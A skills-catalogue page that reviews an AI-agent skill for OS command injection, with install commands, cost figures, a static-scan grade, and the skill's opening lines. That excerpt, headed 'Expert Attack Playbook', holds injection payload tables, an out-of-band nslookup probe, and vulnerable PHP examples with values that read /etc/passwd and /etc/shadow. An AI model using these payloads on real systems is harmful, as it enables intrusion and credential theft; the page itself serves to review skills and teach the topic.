Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ainpx agentmods add skills/securitytalent/bugskill-ai/cmdi-command-injectionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/cmdi-command-injection)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cmdi-command-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cmdi-command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00036 | $0.05956 |
| Opus 5.5 | $0.00014 | $0.02382 |
| Sonnet 5.5 | $0.00007 | $0.01191 |
| Haiku 4.5 | $0.00004 | $0.00596 |
Grade B, and why
cmdi-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
; cat /etc/shadow # password hashes (if root) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
os.system("curl " + url) # url = "x.com; id" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
os.system("curl " + url) # url = "x.com; id" This is a copy
100% identical to cmdi-command-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 688 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: OS Command Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
0. RELATED ROUTING
Before going deep, you can first load:
- upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow
First-pass payload families
| Context | Start With | Backup |
|---|---|---|
| generic shell separator | ;id |
&&id |
| quoted argument | ";id;" |
';id;' |
| blind timing | ;sleep 5 |
& timeout /T 5 /NOBREAK |
| command substitution | $(id) |
`id` |
| out-of-band DNS | ;nslookup token.collab |
Windows nslookup variant |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
1. SHELL METACHARACTERS (INJECTION OPERATORS)
These characters break out of the command context and inject new commands:
| Metacharacter | Behavior | Example |
|---|---|---|
; |
Runs second command regardless | dir; whoami |
| |
Pipes stdout to second command | dir | whoami |
|| |
Run second only if first FAILS | dir || whoami |
& |
Run second in background (or sequenced in Windows) | dir & whoami |
&& |
Run second only if first SUCCEEDS | dir && whoami |
$(cmd) |
Command substitution | echo $(whoami) |
`cmd` |
Command substitution (backtick) | echo `whoami` |
> |
Redirect stdout to file | cmd > /tmp/out |
>> |
Append to file | cmd >> /tmp/out |
< |
Read file as stdin | cmd < /etc/passwd |
%0a |
Newline character (URL-encoded) | cmd%0awhoami |
%0d%0a |
CRLF | Multi-command injection |
2. COMMON VULNERABLE CODE PATTERNS
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 688 lines · 36 tokens per session scan B 1f01c44613fb
cmdi-command-injection is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 36 tokens to every session and 5,956 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). It is 100% identical to cmdi-command-injection, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
bun-api
Bun runtime API reference for TypeScript scripts. Covers Bun.serve() HTTP/HTTP/2 server with routes and WebSockets, fetch() transport options, proxies and Bun.FetchSession connection pools, Bun.ModuleGraph multi-instance apps, Bun.file(), Bun.write(), Bun.$() shell, Bun.spawn(), Bun.Glob, Bun.env, bun:sqlite…
hub-agent-setup
Connect a local or remote AI agent to Giskard Hub through an authenticated, non-streaming HTTPS endpoint. Use when a user asks to connect, integrate, or register their agent with the Hub. Build a minimal wrapper, deploy or tunnel it, and use the Hub connection test (SDK or MCP) to guide any fixes.
api-designer
Helps design REST APIs - routes, request/response structures, validation, status codes, and conventions. Use when designing new endpoints or reviewing an existing API's design for consistency.
auth-flow-reviewer
Deep review of authentication, authorization, session, and SSO flows specifically - token lifecycle, session fixation, logout behavior, and OAuth/SSO correctness. Use when reviewing or designing login, session, or SSO code specifically.
log-message-improver
Improves logging statements for observability - structured logging, appropriate log levels, and useful context. Use when logs are too sparse, too noisy, or missing the context needed to debug an incident from them alone.
cqrs-event-sourcing-designer
Designs Command Query Responsibility Segregation (CQRS) and Event Sourcing models with projection rebuilders.